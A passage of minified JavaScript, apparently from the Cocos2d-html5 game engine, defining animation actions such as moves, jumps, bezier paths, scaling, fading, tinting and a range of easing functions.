  612. b.df=b.u.extend({oi:null,Fc:null,Qc:null,ctor:function(a,c,d){b.u.prototype.ctor.call(this);this.oi=N(0,0);this.Fc=N(0,0);this.Qc=N(0,0);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.u.prototype.d.call(this,a)?(void 0!==c.x&&(d=c.y,c=c.x),this.oi.x=c,this.oi.y=d,!0):!1},j:function(){var a=new b.df;this.ya(a);a.d(this.m,this.oi);return a},v:function(a){b.u.prototype.v.call(this,a);var c=a.Te();a=a.Ng();this.Qc.x=c;this.Qc.y=a;this.Fc.x=c;this.Fc.y=a},update:function(a){a=this.hd(a);if(this.target){var c=
  613. this.oi.x*a;a*=this.oi.y;var d=this.Fc;if(b.au){var e=this.target.Ng(),f=this.Qc;d.x=d.x+this.target.Te()-f.x;d.y=d.y+e-f.y;c+=d.x;a+=d.y;f.x=c;f.y=a;this.target.P(c,a)}else this.target.P(d.x+c,d.y+a)}},reverse:function(){var a=b.df.create(this.m,N(-this.oi.x,-this.oi.y));this.ya(a);this.le(a);return a}});b.df.create=function(a,c,d){return new b.df(a,c,d)};
  614. b.wq=b.df.extend({Mf:null,ctor:function(a,c,d){b.df.prototype.ctor.call(this);this.Mf=N(0,0);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.df.prototype.d.call(this,a,c,d)?(void 0!==c.x&&(d=c.y,c=c.x),this.Mf.x=c,this.Mf.y=d,!0):!1},j:function(){var a=new b.wq;this.ya(a);a.d(this.m,this.Mf);return a},v:function(a){b.df.prototype.v.call(this,a);this.oi.x=this.Mf.x-a.Te();this.oi.y=this.Mf.y-a.Ng()}});b.wq.create=function(a,c,d){return new b.wq(a,c,d)};
  615. b.Xj=b.u.extend({xh:0,yh:0,Bw:0,Cw:0,Cv:0,Dv:0,gf:0,hf:0,ctor:function(a,c,d){b.u.prototype.ctor.call(this);void 0!==d&&this.d(a,c,d)},d:function(a,c,d){var e=!1;b.u.prototype.d.call(this,a)&&(this.Cv=c,this.Dv=d,e=!0);return e},j:function(){var a=new b.Xj;this.ya(a);a.d(this.m,this.Cv,this.Dv);return a},v:function(a){b.u.prototype.v.call(this,a);this.Bw=a.skewX%180;this.gf=this.Cv-this.Bw;180<this.gf&&(this.gf-=360);-180>this.gf&&(this.gf+=360);this.Cw=a.skewY%360;this.hf=this.Dv-this.Cw;180<this.hf&&
  616. (this.hf-=360);-180>this.hf&&(this.hf+=360)},update:function(a){a=this.hd(a);this.target.skewX=this.Bw+this.gf*a;this.target.skewY=this.Cw+this.hf*a}});b.Xj.create=function(a,c,d){return new b.Xj(a,c,d)};
  617. b.Gq=b.Xj.extend({ctor:function(a,c,d){b.Xj.prototype.ctor.call(this);void 0!==d&&this.d(a,c,d)},d:function(a,c,d){var e=!1;b.Xj.prototype.d.call(this,a,c,d)&&(this.xh=c,this.yh=d,e=!0);return e},j:function(){var a=new b.Gq;this.ya(a);a.d(this.m,this.xh,this.yh);return a},v:function(a){b.Xj.prototype.v.call(this,a);this.gf=this.xh;this.hf=this.yh;this.Cv=this.Bw+this.gf;this.Dv=this.Cw+this.hf},reverse:function(){var a=b.Gq.create(this.m,-this.xh,-this.yh);this.ya(a);this.le(a);return a}});
  618. b.Gq.create=function(a,c,d){var e=new b.Gq;e&&e.d(a,c,d);return e};
  619. b.tg=b.u.extend({Fc:null,ei:null,Br:0,fj:0,Qc:null,ctor:function(a,c,d,e,f){b.u.prototype.ctor.call(this);this.Fc=N(0,0);this.Qc=N(0,0);this.ei=N(0,0);void 0!==e&&this.d(a,c,d,e,f)},d:function(a,c,d,e,f){return b.u.prototype.d.call(this,a)?(void 0===f&&(f=e,e=d,d=c.y,c=c.x),this.ei.x=c,this.ei.y=d,this.Br=e,this.fj=f,!0):!1},j:function(){var a=new b.tg;this.ya(a);a.d(this.m,this.ei,this.Br,this.fj);return a},v:function(a){b.u.prototype.v.call(this,a);var c=a.Te();a=a.Ng();this.Qc.x=c;this.Qc.y=a;
  620. this.Fc.x=c;this.Fc.y=a},update:function(a){a=this.hd(a);if(this.target){var c=a*this.fj%1,c=4*this.Br*c*(1-c),c=c+this.ei.y*a;a*=this.ei.x;var d=this.Fc;if(b.au){var e=this.target.Ng(),f=this.Qc;d.x=d.x+this.target.Te()-f.x;d.y=d.y+e-f.y;a+=d.x;c+=d.y;f.x=a;f.y=c;this.target.P(a,c)}else this.target.P(d.x+a,d.y+c)}},reverse:function(){var a=b.tg.create(this.m,N(-this.ei.x,-this.ei.y),this.Br,this.fj);this.ya(a);this.le(a);return a}});b.tg.create=function(a,c,d,e,f){return new b.tg(a,c,d,e,f)};
  621. b.xu=b.tg.extend({Mf:null,ctor:function(a,c,d,e,f){b.tg.prototype.ctor.call(this);this.Mf=N(0,0);void 0!==e&&this.d(a,c,d,e,f)},d:function(a,c,d,e,f){return b.tg.prototype.d.call(this,a,c,d,e,f)?(void 0===f&&(d=c.y,c=c.x),this.Mf.x=c,this.Mf.y=d,!0):!1},v:function(a){b.tg.prototype.v.call(this,a);this.ei.x=this.Mf.x-this.Fc.x;this.ei.y=this.Mf.y-this.Fc.y},j:function(){var a=new b.xu;this.ya(a);a.d(this.m,this.Mf,this.Br,this.fj);return a}});
  622. b.xu.create=function(a,c,d,e,f){return new b.xu(a,c,d,e,f)};b.pM=function(a,c,d,e){return 0*Math.pow(1-e,3)+3*e*Math.pow(1-e,2)*a+3*Math.pow(e,2)*(1-e)*c+Math.pow(e,3)*d};
  623. b.Qj=b.u.extend({Jf:null,Fc:null,Qc:null,ctor:function(a,c){b.u.prototype.ctor.call(this);this.Jf=[];this.Fc=N(0,0);this.Qc=N(0,0);c&&this.d(a,c)},d:function(a,c){return b.u.prototype.d.call(this,a)?(this.Jf=c,!0):!1},j:function(){var a=new b.Qj;this.ya(a);for(var c=[],d=0;d<this.Jf.length;d++){var e=this.Jf[d];c.push(N(e.x,e.y))}a.d(this.m,c);return a},v:function(a){b.u.prototype.v.call(this,a);var c=a.Te();a=a.Ng();this.Qc.x=c;this.Qc.y=a;this.Fc.x=c;this.Fc.y=a},update:function(a){a=this.hd(a);
  624. if(this.target){var c=this.Jf,d=b.pM(c[0].x,c[1].x,c[2].x,a);a=b.pM(c[0].y,c[1].y,c[2].y,a);c=this.Fc;if(b.au){var e=this.target.Ng(),f=this.Qc;c.x=c.x+this.target.Te()-f.x;c.y=c.y+e-f.y;d+=c.x;a+=c.y;f.x=d;f.y=a;this.target.P(d,a)}else this.target.P(c.x+d,c.y+a)}},reverse:function(){var a=this.Jf,a=b.Qj.create(this.m,[b.Hi(a[1],b.MF(a[2])),b.Hi(a[0],b.MF(a[2])),b.MF(a[2])]);this.ya(a);this.le(a);return a}});b.Qj.create=function(a,c){return new b.Qj(a,c)};
  625. b.Xt=b.Qj.extend({Mw:null,ctor:function(a,c){b.Qj.prototype.ctor.call(this);this.Mw=[];c&&this.d(a,c)},d:function(a,c){return b.u.prototype.d.call(this,a)?(this.Mw=c,!0):!1},j:function(){var a=new b.Xt;this.ya(a);a.d(this.m,this.Mw);return a},v:function(a){b.Qj.prototype.v.call(this,a);a=this.Fc;var c=this.Mw,d=this.Jf;d[0]=b.Id(c[0],a);d[1]=b.Id(c[1],a);d[2]=b.Id(c[2],a)}});b.Xt.create=function(a,c){return new b.Xt(a,c)};
  626. b.wd=b.u.extend({pa:1,Ta:1,is:1,js:1,Tn:0,Un:0,gf:0,hf:0,ctor:function(a,c,d){b.u.prototype.ctor.call(this);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.u.prototype.d.call(this,a)?(this.Tn=c,this.Un=null!=d?d:c,!0):!1},j:function(){var a=new b.wd;this.ya(a);a.d(this.m,this.Tn,this.Un);return a},v:function(a){b.u.prototype.v.call(this,a);this.is=a.scaleX;this.js=a.scaleY;this.gf=this.Tn-this.is;this.hf=this.Un-this.js},update:function(a){a=this.hd(a);this.target&&(this.target.scaleX=this.is+
  627. this.gf*a,this.target.scaleY=this.js+this.hf*a)}});b.wd.create=function(a,c,d){var e=new b.wd;e.d(a,c,d);return e};b.tn=b.wd.extend({v:function(a){b.wd.prototype.v.call(this,a);this.gf=this.is*this.Tn-this.is;this.hf=this.js*this.Un-this.js},reverse:function(){var a=b.tn.create(this.m,1/this.Tn,1/this.Un);this.ya(a);this.le(a);return a},j:function(){var a=new b.tn;this.ya(a);a.d(this.m,this.Tn,this.Un);return a}});b.tn.create=function(a,c,d){return new b.tn(a,c,d)};
  628. b.Up=b.u.extend({ec:0,WK:!1,ctor:function(a,c){b.u.prototype.ctor.call(this);void 0!==c&&this.d(a,c)},d:function(a,c){return b.u.prototype.d.call(this,a)?(this.ec=c,!0):!1},j:function(){var a=new b.Up;this.ya(a);a.d(this.m,this.ec);return a},update:function(a){a=this.hd(a);if(this.target&&!this.Og()){var c=1/this.ec;this.target.visible=a%c>c/2}},v:function(a){b.u.prototype.v.call(this,a);this.WK=a.visible},stop:function(){this.target.visible=this.WK;b.u.prototype.stop.call(this)},reverse:function(){var a=
  629. b.Up.create(this.m,this.ec);this.ya(a);this.le(a);return a}});b.Up.create=function(a,c){var d=new b.Up;d.d(a,c);return d};
  630. b.Tj=b.u.extend({Ho:0,Mv:0,ctor:function(a,c){b.u.prototype.ctor.call(this);void 0!==c&&this.d(a,c)},d:function(a,c){return b.u.prototype.d.call(this,a)?(this.Ho=c,!0):!1},j:function(){var a=new b.Tj;this.ya(a);a.d(this.m,this.Ho);return a},update:function(a){a=this.hd(a);if(this.target.yb){var c=void 0!==this.Mv?this.Mv:255;this.target.opacity=c+(this.Ho-c)*a}},v:function(a){b.u.prototype.v.call(this,a);this.target.yb&&(this.Mv=a.opacity)}});b.Tj.create=function(a,c){return new b.Tj(a,c)};
  631. b.ln=b.Tj.extend({TC:null,reverse:function(){var a=new b.tl;a.d(this.m,0);this.ya(a);this.le(a);return a},j:function(){var a=new b.ln;this.ya(a);a.d(this.m,this.Ho);return a},v:function(a){this.TC&&(this.Ho=this.TC.Mv);b.Tj.prototype.v.call(this,a)}});b.ln.create=function(a){return new b.ln(a,255)};b.tl=b.Tj.extend({reverse:function(){var a=new b.ln;a.TC=this;a.d(this.m,255);this.ya(a);this.le(a);return a},j:function(){var a=new b.tl;this.ya(a);a.d(this.m,this.Ho);return a}});
  632. b.tl.create=function(a){var c=new b.tl;c.d(a,0);return c};
  633. b.Su=b.u.extend({nd:null,Pc:null,ctor:function(a,c,d,e){b.u.prototype.ctor.call(this);this.nd=b.color(0,0,0);this.Pc=b.color(0,0,0);void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.u.prototype.d.call(this,a)?(this.nd=b.color(c,d,e),!0):!1},j:function(){var a=new b.Su;this.ya(a);var c=this.nd;a.d(this.m,c.r,c.g,c.b);return a},v:function(a){b.u.prototype.v.call(this,a);this.target.yb&&(this.Pc=this.target.color)},update:function(a){a=this.hd(a);var c=this.Pc,d=this.nd;c&&this.target.yb&&(this.target.color=
  634. b.color(c.r+(d.r-c.r)*a,c.g+(d.g-c.g)*a,c.b+(d.b-c.b)*a))}});b.Su.create=function(a,c,d,e){return new b.Su(a,c,d,e)};
  635. b.Nq=b.u.extend({xv:0,wv:0,vv:0,iK:0,hK:0,gK:0,ctor:function(a,c,d,e){b.u.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.u.prototype.d.call(this,a)?(this.xv=c,this.wv=d,this.vv=e,!0):!1},j:function(){var a=new b.Nq;this.ya(a);a.d(this.m,this.xv,this.wv,this.vv);return a},v:function(a){b.u.prototype.v.call(this,a);a.yb&&(a=a.color,this.iK=a.r,this.hK=a.g,this.gK=a.b)},update:function(a){a=this.hd(a);this.target.yb&&(this.target.color=b.color(this.iK+this.xv*a,this.hK+
  636. this.wv*a,this.gK+this.vv*a))},reverse:function(){var a=b.Nq.create(this.m,-this.xv,-this.wv,-this.vv);this.ya(a);this.le(a);return a}});b.Nq.create=function(a,c,d,e){return new b.Nq(a,c,d,e)};b.pc=b.u.extend({update:function(){},reverse:function(){var a=b.pc.create(this.m);this.ya(a);this.le(a);return a},j:function(){var a=new b.pc;this.ya(a);a.d(this.m);return a}});b.pc.create=function(a){return new b.pc(a)};
  637. b.Cl=b.u.extend({jj:null,ctor:function(a){b.u.prototype.ctor.call(this);this.jj=null;a&&this.aa(a)},aa:function(a){if(!a)throw"cc.ReverseTime.initWithAction(): action must be non null";if(a==this.jj)throw"cc.ReverseTime.initWithAction(): the action was already passed in.";return b.u.prototype.d.call(this,a.m)?(this.jj=a,!0):!1},j:function(){var a=new b.Cl;this.ya(a);a.aa(this.jj.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.jj.v(a)},update:function(a){a=this.hd(a);this.jj&&this.jj.update(1-
  638. a)},reverse:function(){return this.jj.j()},stop:function(){this.jj.stop();b.fd.prototype.stop.call(this)}});b.Cl.create=function(a){return new b.Cl(a)};
  639. b.ah=b.u.extend({lk:null,Qr:0,oC:null,Gv:0,qD:null,ctor:function(a){b.u.prototype.ctor.call(this);this.qD=[];a&&this.LN(a)},ZM:function(){return this.lk},c3:function(a){this.lk=a},LN:function(a){if(!a)throw"cc.Animate.initWithAnimation(): animation must be non-NULL";var c=a.dp();if(this.d(c*a.gj)){this.Qr=0;this.c3(a);this.oC=null;this.Gv=0;var d=this.qD,e=d.length=0,f=c/a.vi;a=a.Td;b.Mo(a,b.qg);for(var g=0;g<a.length;g++){var h=e*f/c,e=e+a[g].Sd;d.push(h)}return!0}return!1},j:function(){var a=new b.ah;
  640. this.ya(a);a.LN(this.lk.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.lk.gm&&(this.oC=a.MZ());this.Gv=this.Qr=0},update:function(a){a=this.hd(a);1>a&&(a*=this.lk.gj,(0|a)>this.Gv&&(this.Qr=0,this.Gv++),a%=1);for(var c=this.lk.Td,d=c.length,e=this.qD,f=this.Qr;f<d;f++)if(e[f]<=a)this.target.il(c[f].qd()),this.Qr=f+1;else break},reverse:function(){var a=this.lk,c=a.Td,d=[];b.Mo(c,b.qg);if(0<c.length)for(var e=c.length-1;0<=e;e--){var f=c[e];if(!f)break;d.push(f.j())}c=b.zf.create(d,
  641. a.Sd,a.gj);c.Hy(a.gm);a=b.ah.create(c);this.ya(a);this.le(a);return a},stop:function(){this.lk.gm&&this.target&&this.target.il(this.oC);b.fd.prototype.stop.call(this)}});b.ah.create=function(a){return new b.ah(a)};
  642. b.Qu=b.u.extend({Wq:null,Yn:null,ctor:function(a,c){b.u.prototype.ctor.call(this);c&&this.jp(a,c)},jp:function(a,c){return this.d(c.m)?(this.Yn=a,this.Wq=c,!0):!1},j:function(){var a=new b.Qu;this.ya(a);a.jp(this.Yn,this.Wq.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.Wq.v(this.Yn)},stop:function(){this.Wq.stop()},update:function(a){a=this.hd(a);this.Wq.update(a)},Oaa:function(){return this.Yn},Yha:function(a){this.Yn!=a&&(this.Yn=a)}});
  643. b.Qu.create=function(a,c){return new b.Qu(a,c)};b.xe=b.Pi.extend({Og:function(){return!0},step:function(){this.update(1)},update:function(){},reverse:function(){return this.j()},j:function(){return new b.xe}});b.Df=b.xe.extend({update:function(){this.target.visible=!0},reverse:function(){return b.fh.create()},j:function(){return new b.Df}});b.Df.create=function(){return new b.Df};b.fh=b.xe.extend({update:function(){this.target.visible=!1},reverse:function(){return b.Df.create()},j:function(){return new b.fh}});b.fh.create=function(){return new b.fh};
  644. b.Oq=b.xe.extend({update:function(){this.target.visible=!this.target.visible},reverse:function(){return new b.Oq},j:function(){return new b.Oq}});b.Oq.create=function(){return new b.Oq};b.Cq=b.xe.extend({Vv:!0,ctor:function(a){b.Pi.prototype.ctor.call(this);void 0!==a&&this.G(a)},update:function(){this.target.VF(this.Vv)},G:function(a){this.Vv=a;return!0},reverse:function(){return new b.Cq(this.Vv)},j:function(){return new b.Cq(this.Vv)}});b.Cq.create=function(a){return new b.Cq(a)};
  645. b.qq=b.xe.extend({Qb:!1,ctor:function(a){b.Pi.prototype.ctor.call(this);this.Qb=!1;void 0!==a&&this.NN(a)},NN:function(a){this.Qb=a;return!0},update:function(){this.target.flippedX=this.Qb},reverse:function(){return b.qq.create(!this.Qb)},j:function(){var a=new b.qq;a.NN(this.Qb);return a}});b.qq.create=function(a){return new b.qq(a)};
  646. b.rq=b.xe.extend({Rb:!1,ctor:function(a){b.Pi.prototype.ctor.call(this);this.Rb=!1;void 0!==a&&this.ON(a)},ON:function(a){this.Rb=a;return!0},update:function(){this.target.flippedY=this.Rb},reverse:function(){return b.rq.create(!this.Rb)},j:function(){var a=new b.rq;a.ON(this.Rb);return a}});b.rq.create=function(a){return new b.rq(a)};
  647. b.Cu=b.xe.extend({Ch:0,Ne:0,ctor:function(a,c){b.Pi.prototype.ctor.call(this);this.Ne=this.Ch=0;void 0!==a&&(void 0!==a.x&&(c=a.y,a=a.x),this.TN(a,c))},TN:function(a,c){this.Ch=a;this.Ne=c;return!0},update:function(){this.target.P(this.Ch,this.Ne)},j:function(){var a=new b.Cu;a.TN(this.Ch,this.Ne);return a}});b.Cu.create=function(a,c){return new b.Cu(a,c)};
  648. b.jb=b.xe.extend({oj:null,lv:null,vr:null,Pn:null,ctor:function(a,c,d){b.Pi.prototype.ctor.call(this);void 0!==a&&(void 0===c?this.Hx(a):this.Hx(a,c,d))},Hx:function(a,c,d){c?(this.Pn=d,this.lv=a,this.oj=c):a&&(this.vr=a);return!0},execute:function(){null!=this.lv?this.lv.call(this.oj,this.target,this.Pn):this.vr&&this.vr.call(null,this.target)},update:function(){this.execute()},ica:function(){return this.oj},Zia:function(a){a!=this.oj&&(this.oj&&(this.oj=null),this.oj=a)},j:function(){var a=new b.jb;
  649. this.oj?a.Hx(this.lv,this.oj,this.Pn):this.vr&&a.Hx(this.vr);return a}});b.jb.create=function(a,c,d){return new b.jb(a,c,d)};b.Sy=b.u.extend({cB:0,dB:0,eB:0,$J:0,aK:0,bK:0,YL:0,ZL:0,$L:0,ctor:function(){b.u.prototype.ctor.call(this);this.$L=this.ZL=this.YL=this.bK=this.aK=this.$J=this.eB=this.dB=this.cB=0},v:function(a){b.u.prototype.v.call(this,a);a=a.Km();var c=a.bN();this.cB=c.x;this.dB=c.y;this.eB=c.z;c=a.gN();this.$J=c.x;this.aK=c.y;this.bK=c.z;a=a.A0();this.YL=a.x;this.ZL=a.y;this.$L=a.z},j:function(){return new b.Sy},reverse:function(){return b.Cl.create(this)}});
  650. b.be=b.Sy.extend({Ie:0,lB:0,Zq:0,oJ:0,gh:0,nJ:0,hL:0,fL:0,gL:0,eL:0,ctor:function(a,c,d,e,f,g,h){b.Sy.prototype.ctor.call(this);void 0!==h&&this.d(a,c,d,e,f,g,h)},d:function(a,c,d,e,f,g,h){return b.u.prototype.d.call(this,a)?(this.Ie=c,this.lB=d,this.Zq=e,this.oJ=f,this.gh=g,this.nJ=h,this.fL=b.$f(f),this.eL=b.$f(h),!0):!1},h4:function(){var a=this.target.Km(),c=a.gN(),d=a.bN(),a=c.x-d.x,e=c.y-d.y,c=c.z-d.z,d=Math.sqrt(Math.pow(a,2)+Math.pow(e,2)+Math.pow(c,2)),f=Math.sqrt(Math.pow(a,2)+Math.pow(e,
  651. 2));0===f&&(f=b.uu);0===d&&(d=b.uu);return{Y1:d/b.Wp.Xs(),X4:Math.acos(c/d),azimuth:0>a?Math.PI-Math.asin(e/f):Math.asin(e/f)}},v:function(a){b.u.prototype.v.call(this,a);a=this.h4();isNaN(this.Ie)&&(this.Ie=a.Y1);isNaN(this.Zq)&&(this.Zq=b.SF(a.X4));isNaN(this.gh)&&(this.gh=b.SF(a.azimuth));this.hL=b.$f(this.Zq);this.gL=b.$f(this.gh)},j:function(){var a=new b.be;a.d(this.m,this.Ie,this.lB,this.Zq,this.oJ,this.gh,this.nJ);return a},update:function(a){a=this.hd(a);var c=(this.Ie+this.lB*a)*b.Wp.Xs(),
  652. d=this.hL+this.fL*a,e=this.gL+this.eL*a;a=Math.sin(d)*Math.cos(e)*c+this.cB;e=Math.sin(d)*Math.sin(e)*c+this.dB;c=Math.cos(d)*c+this.eB;this.target.Km().fP(a,e,c)}});b.be.create=function(a,c,d,e,f,g,h){return new b.be(a,c,d,e,f,g,h)};b.Ra=b.u.extend({p:null,ctor:function(a){b.u.prototype.ctor.call(this);a&&this.aa(a)},aa:function(a){if(!a)throw"cc.ActionEase.initWithAction(): action must be non nil";return this.d(a.dp())?(this.p=a,!0):!1},j:function(){var a=new b.Ra;a.aa(this.p.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.p.v(this.target)},stop:function(){this.p.stop();b.u.prototype.stop.call(this)},update:function(a){this.p.update(a)},reverse:function(){return b.Ra.create(this.p.reverse())},RE:function(){return this.p}});
  653. b.Ra.create=function(a){return new b.Ra(a)};b.sl=b.Ra.extend({bc:0,ctor:function(a,c){b.Ra.prototype.ctor.call(this);void 0!==c&&this.aa(a,c)},Kia:function(a){this.bc=a},Nba:function(){return this.bc},aa:function(a,c){return b.Ra.prototype.aa.call(this,a)?(this.bc=c,!0):!1},j:function(){var a=new b.sl;a.aa(this.p.j(),this.bc);return a},reverse:function(){return b.sl.create(this.p.reverse(),1/this.bc)}});b.sl.create=function(a,c){return new b.sl(a,c)};
  654. b.pu=b.sl.extend({update:function(a){this.p.update(Math.pow(a,this.bc))},reverse:function(){return b.pu.create(this.p.reverse(),1/this.bc)},j:function(){var a=new b.pu;a.aa(this.p.j(),this.bc);return a}});b.pu.create=function(a,c){return new b.pu(a,c)};b.b_=function(a){return{bc:a,Ka:function(a){return Math.pow(a,this.bc)},reverse:function(){return b.b_(1/this.bc)}}};
  655. b.rl=b.sl.extend({update:function(a){this.p.update(Math.pow(a,1/this.bc))},reverse:function(){return b.rl.create(this.p.reverse(),1/this.bc)},j:function(){var a=new b.rl;a.aa(this.p.j(),this.bc);return a}});b.rl.create=function(a,c){return new b.rl(a,c)};b.d_=function(a){return{bc:a,Ka:function(a){return Math.pow(a,1/this.bc)},reverse:function(){return b.d_(1/this.bc)}}};
  656. b.fq=b.sl.extend({update:function(a){a*=2;1>a?this.p.update(0.5*Math.pow(a,this.bc)):this.p.update(1-0.5*Math.pow(2-a,this.bc))},j:function(){var a=new b.fq;a.aa(this.p.j(),this.bc);return a},reverse:function(){return b.fq.create(this.p.reverse(),this.bc)}});b.fq.create=function(a,c){return new b.fq(a,c)};b.c_=function(a){return{bc:a,Ka:function(a){a*=2;return 1>a?0.5*Math.pow(a,this.bc):1-0.5*Math.pow(2-a,this.bc)},reverse:function(){return b.c_(this.bc)}}};
  657. b.mu=b.Ra.extend({update:function(a){this.p.update(0===a?0:Math.pow(2,10*(a-1)))},reverse:function(){return b.ou.create(this.p.reverse())},j:function(){var a=new b.mu;a.aa(this.p.j());return a}});b.mu.create=function(a){return new b.mu(a)};b.JJ={Ka:function(a){return 0===a?0:Math.pow(2,10*(a-1))},reverse:function(){return b.LJ}};b.g$=function(){return b.JJ};
  658. b.ou=b.Ra.extend({update:function(a){this.p.update(1==a?1:-Math.pow(2,-10*a)+1)},reverse:function(){return b.mu.create(this.p.reverse())},j:function(){var a=new b.ou;a.aa(this.p.j());return a}});b.ou.create=function(a){return new b.ou(a)};b.LJ={Ka:function(a){return 1==a?1:-Math.pow(2,-10*a)+1},reverse:function(){return b.JJ}};b.a_=function(){return b.LJ};
  659. b.nu=b.Ra.extend({update:function(a){1!=a&&0!==a&&(a*=2,a=1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2));this.p.update(a)},reverse:function(){return b.nu.create(this.p.reverse())},j:function(){var a=new b.nu;a.aa(this.p.j());return a}});b.nu.create=function(a){return new b.nu(a)};b.KJ={Ka:function(a){return 1!==a&&0!==a?(a*=2,1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2)):a},reverse:function(){return b.KJ}};b.h$=function(){return b.KJ};
  660. b.qu=b.Ra.extend({update:function(a){a=0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1;this.p.update(a)},reverse:function(){return b.su.create(this.p.reverse())},j:function(){var a=new b.qu;a.aa(this.p.j());return a}});b.qu.create=function(a){return new b.qu(a)};b.VJ={Ka:function(a){return 0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1},reverse:function(){return b.XJ}};b.r$=function(){return b.VJ};
  661. b.su=b.Ra.extend({update:function(a){a=0===a||1===a?a:Math.sin(a*Math.PI/2);this.p.update(a)},reverse:function(){return b.qu.create(this.p.reverse())},j:function(){var a=new b.su;a.aa(this.p.j());return a}});b.su.create=function(a){return new b.su(a)};b.XJ={Ka:function(a){return 0===a||1==a?a:Math.sin(a*Math.PI/2)},reverse:function(){return b.VJ}};b.s$=function(){return b.XJ};
  662. b.ru=b.Ra.extend({update:function(a){a=0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1);this.p.update(a)},j:function(){var a=new b.ru;a.aa(this.p.j());return a},reverse:function(){return b.ru.create(this.p.reverse())}});b.ru.create=function(a){return new b.ru(a)};b.WJ={Ka:function(a){return 0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1)},reverse:function(){return b.WJ}};b.e_=function(){return b.WJ};
  663. b.hn=b.Ra.extend({Fb:0.3,ctor:function(a,c){b.Ra.prototype.ctor.call(this);a&&this.aa(a,c)},Eba:function(){return this.Fb},Gia:function(a){this.Fb=a},aa:function(a,c){b.Ra.prototype.aa.call(this,a);this.Fb=null==c?0.3:c;return!0},reverse:function(){b.log("cc.EaseElastic.reverse(): it should be overridden in subclass.");return null},j:function(){var a=new b.hn;a.aa(this.p.j(),this.Fb);return a}});b.hn.create=function(a,c){return new b.hn(a,c)};
  664. b.ju=b.hn.extend({update:function(a){var c=0;0===a||1===a?c=a:(c=this.Fb/4,a-=1,c=-Math.pow(2,10*a)*Math.sin((a-c)*Math.PI*2/this.Fb));this.p.update(c)},reverse:function(){return b.lu.create(this.p.reverse(),this.Fb)},j:function(){var a=new b.ju;a.aa(this.p.j(),this.Fb);return a}});b.ju.create=function(a,c){return new b.ju(a,c)};b.HJ={Ka:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)},reverse:function(){return b.IJ}};
  665. b.YZ=function(a){return a&&0.3!==a?{Fb:a,Ka:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-this.Fb/4)*Math.PI*2/this.Fb)},reverse:function(){return b.$Z(this.Fb)}}:b.HJ};b.lu=b.hn.extend({update:function(a){var c=0,c=0===a||1==a?a:Math.pow(2,-10*a)*Math.sin((a-this.Fb/4)*Math.PI*2/this.Fb)+1;this.p.update(c)},reverse:function(){return b.ju.create(this.p.reverse(),this.Fb)},j:function(){var a=new b.lu;a.aa(this.p.j(),this.Fb);return a}});
  666. b.lu.create=function(a,c){return new b.lu(a,c)};b.IJ={Ka:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)+1},reverse:function(){return b.HJ}};b.$Z=function(a){return a&&0.3!==a?{Fb:a,Ka:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-this.Fb/4)*Math.PI*2/this.Fb)+1},reverse:function(){return b.YZ(this.Fb)}}:b.IJ};
  667. b.ku=b.hn.extend({update:function(a){var c=0,c=this.Fb;if(0===a||1==a)c=a;else{c||(c=this.Fb=0.3*1.5);var d=c/4;a=2*a-1;c=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-d)*Math.PI*2/c):Math.pow(2,-10*a)*Math.sin((a-d)*Math.PI*2/c)*0.5+1}this.p.update(c)},reverse:function(){return b.ku.create(this.p.reverse(),this.Fb)},j:function(){var a=new b.ku;a.aa(this.p.j(),this.Fb);return a}});b.ku.create=function(a,c){return new b.ku(a,c)};
  668. b.ZZ=function(a){return{Fb:a||0.3,Ka:function(a){var d=0,d=this.Fb;if(0===a||1===a)d=a;else{d||(d=this.Fb=0.3*1.5);var e=d/4;a=2*a-1;d=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-e)*Math.PI*2/d):Math.pow(2,-10*a)*Math.sin((a-e)*Math.PI*2/d)*0.5+1}return d},reverse:function(){return b.ZZ(this.Fb)}}};
  669. b.ql=b.Ra.extend({ax:function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375},j:function(){var a=new b.ql;a.aa(this.p.j());return a},reverse:function(){return b.ql.create(this.p.reverse())}});b.ql.create=function(a){return new b.ql(a)};
  670. b.gu=b.ql.extend({update:function(a){this.p.update(1-this.ax(1-a))},reverse:function(){return b.iu.create(this.p.reverse())},j:function(){var a=new b.gu;a.aa(this.p.j());return a}});b.gu.create=function(a){return new b.gu(a)};b.iv=function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375};b.yJ={Ka:function(a){return 1-b.iv(1-a)},reverse:function(){return b.AJ}};b.X9=function(){return b.yJ};
